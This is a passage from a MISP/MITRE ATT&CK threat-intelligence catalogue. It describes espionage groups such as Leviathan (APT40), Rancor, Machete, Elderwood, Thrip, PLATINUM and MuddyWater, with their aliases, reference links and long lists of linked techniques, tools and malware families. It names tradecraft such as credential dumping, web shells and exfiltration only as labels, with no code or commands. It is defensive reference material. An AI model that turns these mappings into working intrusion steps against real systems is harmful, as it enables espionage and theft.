- uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1553.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Code Signing Certificates - T1587.002" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:threat-actor="PROMETHIUM" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:microsoft-activity-group="PROMETHIUM" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-malware="Truvasys - S0178" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Port Knocking - T1205.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Local Accounts - T1078.003" with estimative-language:likelihood-probability="almost-certain"

Table 5098. Table References

Links
http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft_Security_Intelligence_Report_Volume_21_English.pdf
https://attack.mitre.org/groups/G0056
https://blog.talosintelligence.com/2020/06/promethium-extends-with-strongpity3.html
https://blogs.technet.microsoft.com/mmpc/2016/12/14/twin-zero-day-attacks-promethium-and-neodymium-target-individuals-in-europe/
https://www.bitdefender.com/files/News/CaseStudies/study/353/Bitdefender-Whitepaper-StrongPity-APT.pdf

Leviathan - G0065

[Leviathan](https://attack.mitre.org/groups/G0065) is a Chinese state-sponsored cyber espionage group that has been attributed to the Ministry of State Security's (MSS) Hainan State Security Department and an affiliated front company.(Citation: CISA AA21-200A APT40 July 2021) Active since at least 2009, [Leviathan](https://attack.mitre.org/groups/G0065) has targeted the following sectors: academia, aerospace/aviation, biomedical, defense industrial base, government, healthcare, manufacturing, maritime, and transportation across the US, Canada, Europe, the Middle East, and Southeast Asia.(Citation: CISA AA21-200A APT40 July 2021)(Citation: Proofpoint Leviathan Oct 2017)(Citation: FireEye Periscope March 2018)

The tag is: *misp-galaxy:mitre-intrusion-set="Leviathan - G0065"*

Leviathan - G0065 is also known as:

- Leviathan
- MUDCARP
- Kryptonite Panda
- Gadolinium
- BRONZE MOHAWK
- TEMP.Jumper
- APT40
- TEMP.Periscope

View relationships graph

Leviathan - G0065 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Net - S0039" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="MURKYTOP - S0233" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Orz - S0229" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="at - S0110" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="External Remote Services - T1133" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="PowerSploit - S0194" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dynamic Data Exchange - T1559.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Windows Credential Editor - S0005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Social Media Accounts - T1586.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1566.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SSH - T1021.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1553.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Empire - S0363" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote Data Staging - T1074.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Email Accounts - T1586.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domains - T1583.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1547.009" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Protocol Tunneling - T1572" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Archive Collected Data - T1560" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="BADFLICK - S0642" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="China Chopper - S0020" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:threat-actor="APT40" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Binary Padding - T1027.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Shell - T1505.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="BITSAdmin - S0190" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Email Accounts - T1585.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="NanHaiShu - S0228" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="HOMEFRY - S0232" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="gh0st RAT - S0032" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation Event Subscription - T1546.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Derusbi - S0021" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="One-Way Communication - T1102.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Internal Spearphishing - T1534" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Multi-hop Proxy - T1090.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Cobalt Strike - S0154" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Social Media Accounts - T1585.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1218.010" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials - T1589.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration to Cloud Storage - T1567.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Steganography - T1027.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="BITS Jobs - T1197" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="BLACKCOFFEE - S0069" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1021.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Tor - S0183" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001" with estimative-language:likelihood-probability="almost-certain"

Table 5099. Table References

Links
https://attack.mitre.org/groups/G0065
https://us-cert.cisa.gov/ncas/alerts/aa21-200a
https://www.accenture.com/us-en/blogs/cyber-defense/mudcarps-focus-on-submarine-technologies
https://www.crowdstrike.com/blog/two-birds-one-stone-panda/
https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html
https://www.fireeye.com/blog/threat-research/2019/03/apt40-examining-a-china-nexus-espionage-actor.html
https://www.microsoft.com/security/blog/2020/09/24/gadolinium-detecting-empires-cloud/
https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets
https://www.secureworks.com/research/threat-profiles/bronze-mohawk

Rancor - G0075

[Rancor](https://attack.mitre.org/groups/G0075) is a threat group that has led targeted campaigns against the South East Asia region. [Rancor](https://attack.mitre.org/groups/G0075) uses politically-motivated lures to entice victims to open malicious documents. (Citation: Rancor Unit42 June 2018)

The tag is: *misp-galaxy:mitre-intrusion-set="Rancor - G0075"*

Rancor - G0075 is also known as:

- Rancor

View relationships graph

Rancor - G0075 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="certutil - S0160" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="PLAINTEE - S0254" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Msiexec - T1218.007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Reg - S0075" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="DDKONG - S0255" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5100. Table References

Links
https://attack.mitre.org/groups/G0075
https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/

Machete - G0095

[Machete](https://attack.mitre.org/groups/G0095) is a suspected Spanish-speaking cyber espionage group that has been active since at least 2010. It has primarily focused its operations within Latin America, with a particular emphasis on Venezuela, but also in the US, Europe, Russia, and parts of Asia. [Machete](https://attack.mitre.org/groups/G0095) generally targets high-profile organizations such as government institutions, intelligence services, and military units, as well as telecommunications and power companies.(Citation: Cylance Machete Mar 2017)(Citation: Securelist Machete Aug 2014)(Citation: ESET Machete July 2019)(Citation: 360 Machete Sep 2020)

The tag is: *misp-galaxy:mitre-intrusion-set="Machete - G0095"*

Machete - G0095 is also known as:

- Machete
- APT-C-43
- El Machete

View relationships graph

Machete - G0095 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1566.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Machete - S0409" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Msiexec - T1218.007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Python - T1059.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"

Table 5101. Table References

Links
https://attack.mitre.org/groups/G0095
https://blog.360totalsecurity.com/en/apt-c-43-steals-venezuelan-military-secrets-to-provide-intelligence-support-for-the-reactionaries-hpreact-campaign/
https://securelist.com/el-machete/66108/
https://threatvector.cylance.com/en_us/home/el-machete-malware-attacks-cut-through-latam.html
https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf

Elderwood - G0066

[Elderwood](https://attack.mitre.org/groups/G0066) is a suspected Chinese cyber espionage group that was reportedly responsible for the 2009 Google intrusion known as Operation Aurora. (Citation: Security Affairs Elderwood Sept 2012) The group has targeted defense organizations, supply chain manufacturers, human rights and nongovernmental organizations (NGOs), and IT service providers. (Citation: Symantec Elderwood Sept 2012) (Citation: CSM Elderwood Sept 2012)

The tag is: *misp-galaxy:mitre-intrusion-set="Elderwood - G0066"*

Elderwood - G0066 is also known as:

- Elderwood
- Elderwood Gang
- Beijing Group
- Sneaky Panda

View relationships graph

Elderwood - G0066 has relationships with:

- uses: misp-galaxy:mitre-malware="Wiarp - S0206" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1566.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Naid - S0205" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Hydraq - S0203" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Briba - S0204" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="PoisonIvy - S0012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Nerex - S0210" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:threat-actor="Beijing Group" with estimative-language:likelihood-

probability="likely"

- uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Pasam - S0208" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Linfo - S0211" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Vasport - S0207" with estimative-language:likelihood-probability="almost-certain"

Table 5102. Table References

Links
http://securityaffairs.co/wordpress/8528/hacking/elderwood-project-who-is-behind-op-aurora-and-ongoing-attacks.html
https://attack.mitre.org/groups/G0066
https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf
https://www.csmonitor.com/USA/2012/0914/Stealing-US-business-secrets-Experts-ID-two-huge-cyber-gangs-in-China

Thrip - G0076

[Thrip](https://attack.mitre.org/groups/G0076) is an espionage group that has targeted satellite communications, telecoms, and defense contractor companies in the U.S. and Southeast Asia. The group uses custom malware as well as "living off the land" techniques. (Citation: Symantec Thrip June 2018)

The tag is: *misp-galaxy:mitre-intrusion-set="Thrip - G0076"*

Thrip - G0076 is also known as:

- Thrip

View relationships graph

Thrip - G0076 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Remote Access Software - T1219" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Catchamas - S0261" with estimative-language:likelihood-

probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Tool - T1588.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Unencrypted Non-C2 Protocol - T1048.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="PsExec - S0029" with estimative-language:likelihood-probability="almost-certain"

Table 5103. Table References

Links
https://attack.mitre.org/groups/G0076
https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets

PLATINUM - G0068

[PLATINUM](https://attack.mitre.org/groups/G0068) is an activity group that has targeted victims since at least 2009. The group has focused on targets associated with governments and related organizations in South and Southeast Asia. (Citation: Microsoft PLATINUM April 2016)

The tag is: *misp-galaxy:mitre-intrusion-set="PLATINUM - G0068"*

PLATINUM - G0068 is also known as:

- PLATINUM

View relationships graph

PLATINUM - G0068 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="adbupd - S0202" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:microsoft-activity-group="PLATINUM" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="PLATINUM" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with

estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="JPIN - S0201" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Dipsind - S0200" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credential API Hooking - T1056.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"

Table 5104. Table References

Links
https://attack.mitre.org/groups/G0068
https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf

MuddyWater - G0069

[MuddyWater](https://attack.mitre.org/groups/G0069) is an Iranian threat group that has primarily targeted Middle Eastern nations, and has also targeted European and North American nations. The group's victims are mainly in the telecommunications, government (IT services), and oil sectors. Activity from this group was previously linked to [FIN7](https://attack.mitre.org/groups/G0046), but the group is believed to be a distinct group possibly motivated by espionage.(Citation: Unit 42 MuddyWater Nov 2017)(Citation: Symantec MuddyWater Dec 2018)(Citation: ClearSky MuddyWater Nov 2018)(Citation: ClearSky MuddyWater June 2019)(Citation: Reaqta MuddyWater November 2017)

The tag is: *misp-galaxy:mitre-intrusion-set="MuddyWater - G0069"*

MuddyWater - G0069 is also known as:

- MuddyWater
- Earth Vetala
- MERCURY
- Static Kitten
- Seedworm
- TEMP.Zagros

View relationships graph

MuddyWater - G0069 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Archive via Utility - T1560.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="RemoteUtilities - S0592" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="PowerSploit - S0194" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="LSA Secrets - T1003.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Dynamic Data Exchange - T1559.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1566.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Component Object Model - T1559.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Empire - S0363" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Password Stores - T1555" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote Access Software - T1219" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="CMSTP - T1218.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="External Proxy - T1090.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Email Addresses - T1589.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Cached Domain Credentials - T1003.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="SHARPSTATS - S0450" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Office Template Macros - T1137.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Out1 - S0594" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Mshta - T1218.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="ConnectWise - S0591" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Multi-Stage Channels - T1104" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Services - T1583.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:threat-actor="MuddyWater" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Tool - T1588.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="LaZagne - S0349" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Bidirectional Communication - T1102.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Steganography - T1027.003" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-tool="CrackMapExec - S0488" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Compile After Delivery - T1027.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Koadic - S0250" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Python - T1059.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
